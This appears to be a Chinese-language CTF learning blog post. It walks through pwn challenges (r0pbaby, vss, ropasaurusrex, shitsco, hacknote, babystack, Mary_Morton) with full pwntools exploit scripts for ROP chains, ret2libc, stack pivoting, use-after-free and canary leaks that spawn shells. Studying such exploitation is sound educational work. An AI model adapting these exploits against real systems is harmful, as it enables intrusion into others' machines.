PWN养成计划

最近观摩了下Atum大佬PWN学习
决定要把每一个例题都写一下!!!
长期更新
立下flag

ROP

defcon 2015 qualifier: R0pbaby

首先看下程序,主要是个菜单
1
菜单很简单
1查找lib基地址
2查找你要寻找的libc函数
3实施攻击
4退出
checksec一下看下开了什么保护

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

有PIE
但这不影响,因为能查看地址

漏洞挖掘

标题就已经提示用ROP了
这边主要的溢出点在
memcpy那边

漏洞利用

既然能查看地址
那就不怎么难了
首先这是64位程序
传参的话,’/bin/sh’应该是放在rdi寄存器里的
用ROPgadget找到其偏移

1
ROPgadget --binary libc.so.6 --only "pop|ret" | grep "rdi"

然后是’/bin/sh’偏移和sys的偏移
接下去就能溢出了
发现memcpy(&savedregs, nptr, v6)中
savedregs就是rbp所在处
所以直接输入8个a然后输入pop_rdi_ret的地址,紧跟着’/bin/sh’的地址和sys地址
pop_rdi_ret地址计算的话就用程序的2选项得到的sys地址加上pop_ret偏移减去sys偏移
上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# coding=utf-8
from pwn import *
a = process("./r0pbaby")
a.recvuntil(": ")
a.send('2\n')
a.recvuntil(": ")
a.send('system\n')
aaa = a.recv()
add = aaa[15:33]
addr = int(add,16)
print hex(addr)
a.sendline('3')
a.recvuntil("Enter bytes to send (max 1024): ")
a.send('32\n')
#gdb.attach(a)
pay = 'a'*8 + p64(addr+0x221c8-0x41FD0) + p64(addr+0x17C489-0x41FD0) + p64(addr)
a.sendline(pay)
a.interactive()

说下收获
1.64位传参,首先是寄存器然后栈,利用方式:ROPgadget。
2.ROPgadget命令使用

AliCTF 2016: vss

这题对逆向手比较友好~~~
稍微调试一下就知道题目在干什么了
先看看程序
2
首先是一个登录
输入密码即可
进去看看判断函数
3
通过调试可以看到这边有个类似memcpy的操作
所以可以通过输入的pwd来溢出这边的v2
具体可以通过构造ropchain

漏洞利用

这边已经找到溢出点了,但是有个问题
就是栈空间不够
只有0x50空间
所以这边需要用到stack pivot
即劫持栈指针
把rsp劫持到上一个调用他的函数中的栈去
用ROPgadget找一下就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from struct import pack
# Padding goes here
p = ''

p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x000000000046f208) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401823) # pop rdi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000043ae05) # pop rdx ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045f2a5) # syscall ; ret

a = process('vss')
a.recvuntil("Password:")
pay = ''
pay = 'py' + 'a'*(0x46) + p64(0x46f205) + 'a'*(0x58-0x50) + p
a.sendline(pay)
a.interactive()

跑一下
4
说下收获
1.初识stack pivot//针对栈空间不够溢出
2.ropchain熟悉
3.初识静态链接

PlaidCTF 2013: ropasaurusrex

和xctf的level3一个样
exp都一样。。。
典型的ret2libc

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
# coding=utf-8
from pwn import *

a = process('./rop')
elf = ELF('rop')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
pay = 'a'*0x88 + 'aaaa' + p32(elf.symbols['write']) + p32(0x8048426) + p32(1) + p32(elf.got['write']) + p32(4)
a.sendline(pay)
addr = u32(a.recv(4))
print addr
sys = libc.symbols['system'] + addr - libc.symbols['write']
sh = libc.search('/bin/sh').next() + addr - libc.symbols['write']
pay2 = 'a'*0x88 + 'aaaa' + p32(sys) + 'aaaa' + p32(sh)
a.sendline(pay2)
a.interactive()

说下收获
1.其实呢。。。主要是它给了个库文件,我就去加载了,然后一直没出来。。。应该加载的是自己虚拟机上的库,这点以后注意
2.某些命令的使用

UAF

迫于某些原因,先把堆给看看,rop的一些以后接着填坑

defcon ctf qualifier 2014 : shitsco

不得不说,国际性大赛的pwn。。。如果逆向不怎么好的话很难写
运行程序的话可以看到有很多命令。。。
password输入正确后可以用flag命令获得flag
整体利用思路就是要把password通过show打印出来

漏洞利用

5
首先可以看到pwd在程序开始被读入
6
在bss段
通过调试可以看出来分配的堆是个双向链表
name指针,值指针,上一个和下一个链表的指针。
大小为16字节,
而且可以发现,第一个链表的下一个指针永远指向下一个
这就可以uaf
输入俩个长度16个值
free掉后在输入一个长度16的值就会打印对应地址了
因为first fit把。。。猜测
毕竟堆我还刚入门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# coding=utf-8
from pwn import *

a = process('./shitsco')
a.recvuntil("$ ")
a.sendline('set a aaaaaaaaaaaaaaaa')
a.recvuntil("$ ")
a.sendline('set b aaaaaaaaaaaaaaab')

a.recvuntil("$ ")
a.sendline('set a')
a.recvuntil("$ ")
a.sendline('set b')
a.recvuntil("$ ")
pay = 'set c ' + '\xA0\xC3\x04\x08'*4 #0x8048D40
print pay
a.sendline(pay)
a.sendline('show')
a.interactive()

说下收获
1.firstfit的认识
2.堆入门

HITCON hacknote

这题让我搞懂UAF了
首先看看程序整体就是个菜单
7
看看菜单内容
8
可以看到很多堆漏洞必备的功能
9
delete操作,单单free,会引起UAF
看看add操作
10
可以看到先申请俩指针,第一个指向put函数,第二个指向函数内容
利用方法就很简单了

漏洞利用

先申请俩个大小大于12的块
然后free
再申请一个大小为8的块,覆盖put函数地址为magic
并用put打印触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# coding=utf-8
from pwn import *
a = process('./hacknote')
a.recvuntil("Your choice :")
a.sendline('1')
a.recvuntil("Note size :")
a.sendline('16')
a.recvuntil("Content :")
a.sendline('aaaaaaaa')
a.recvuntil("Your choice :")
a.sendline('1')
a.recvuntil("Note size :")
a.sendline('16')
a.recvuntil("Content :")
a.sendline('aaaaaaaa')
a.recvuntil("Your choice :")
a.sendline('2')
a.recvuntil("Index :")
a.sendline('1')
a.recvuntil("Your choice :")
a.sendline('2')
a.recvuntil("Index :")
a.sendline('0')
a.recvuntil("Your choice :")
a.sendline('1')
a.recvuntil("Note size :")
a.sendline('8')
a.recvuntil("Content :")
pay = p32(0x8048986)
a.sendline(pay)
a.recvuntil("Your choice :")
a.sendline('3')
a.recvuntil("Index :")
a.sendline('1')
a.interactive()

exp写的比较丑没有像标准wp一样定义函数
但能跑

说下收获
1.堆得分配和释放
2.UAF的标准操作

厦门邀请赛

写了4小时没出来。。。
后来看了wp,大致思路是对的,有些地方的优化做的不是太好

逆向分析

题目大致是个类似菜单的
12
1是输入
2是打印
有canary大致可以猜到是要泄露出canary才行
13
看程序发现输出函数是puts
//一开始还不知道puts输出到\x00才结束,试了几次后发现了这个漏洞
所以我们只需要填充栈,到canary之前
然后打印就能打出canary的高7个字节
最后一个字节经过调试发现一直是00所以需要填充
当然回车正好可以,所以用pwntools编写的时候需要注意必须是sendline而不是send
不然的话不能leak canary
canary leak后就可以ret2libc
leak出基地址后就差不多完事了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
elf = ELF('./babystack')
#a = remote('111.198.29.45',49770)
a = process('./babystack')
rdi_ret = 0x400a93
rsi_r15_ret = 0x400a91
lib = ELF('./libc-2.23.so')
print a.recv()
a.sendline('1')
fmt = '1'*136
a.sendline(fmt)
print a.recv()
a.sendline('2')
a.recvuntil('1'*0x88+'\n')
canary = u64(a.recv(7).rjust(8,'\x00'))
print "canary found:",hex(canary)
a.sendline('1')
pay = 'a'*136 + p64(canary) + 'bbbbbbbb'
pay += p64(rdi_ret) + p64(elf.got['puts'])
pay += p64(elf.plt['puts'])
pay += p64(0x400908)
a.sendline(pay)
print a.recv()
a.sendlineafter('>> ','3')
paddr = u64(a.recvuntil('\n',drop=True).ljust(8,'\x00'))
print 'addr found:',hex(paddr)
base = paddr - lib.symbols['puts']
sys = base + lib.symbols['system']
bash = base + lib.search('/bin/sh').next()
print 'one_gadget:',hex(one_gadget)
print a.recv()
a.sendline('1')
pay = 'a'*136 + p64(canary) + 'bbbbbbbb' + p64(rdi_ret) + p64(bash) + p64(sys)
a.send(pay)
print a.recv()
a.sendline('3')
print '#############'
print 'are you ready'
print '#############'
a.interactive()

ASIS-CTF-Finals-2017 Mary_Morton

和上面一题有点像,但是简单了好多
就是个格式化字符串绕canary
后门都已经写好了给你

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
a = remote('111.198.29.45',32882)
#a = process('./mary_morton')
print a.recv()
print a.recv()
a.sendline('2')
a.sendline('%23$lx')
test = a.recv(16)
canary = int(test,16)
print hex(canary)
a.recvuntil("3. Exit the battle ")
a.sendline('1')
backdoor = 0x00000000004008DA
pay = 'a'*136 + p64(canary) + 'bbbbbbbb' + p64(backdoor)
a.sendline(pay)
a.interactive()
文章目录
  1. 1. ROP
    1. 1.1. defcon 2015 qualifier: R0pbaby
      1. 1.1.1. 漏洞挖掘
      2. 1.1.2. 漏洞利用
    2. 1.2. AliCTF 2016: vss
      1. 1.2.1. 漏洞利用
    3. 1.3. PlaidCTF 2013: ropasaurusrex
      1. 1.3.1. 漏洞利用
  2. 2. UAF
    1. 2.1. defcon ctf qualifier 2014 : shitsco
      1. 2.1.1. 漏洞利用
    2. 2.2. HITCON hacknote
      1. 2.2.1. 漏洞利用
    3. 2.3. 厦门邀请赛
      1. 2.3.1. 逆向分析
      2. 2.3.2. exp
    4. 2.4. ASIS-CTF-Finals-2017 Mary_Morton
    5. 2.5. exp
|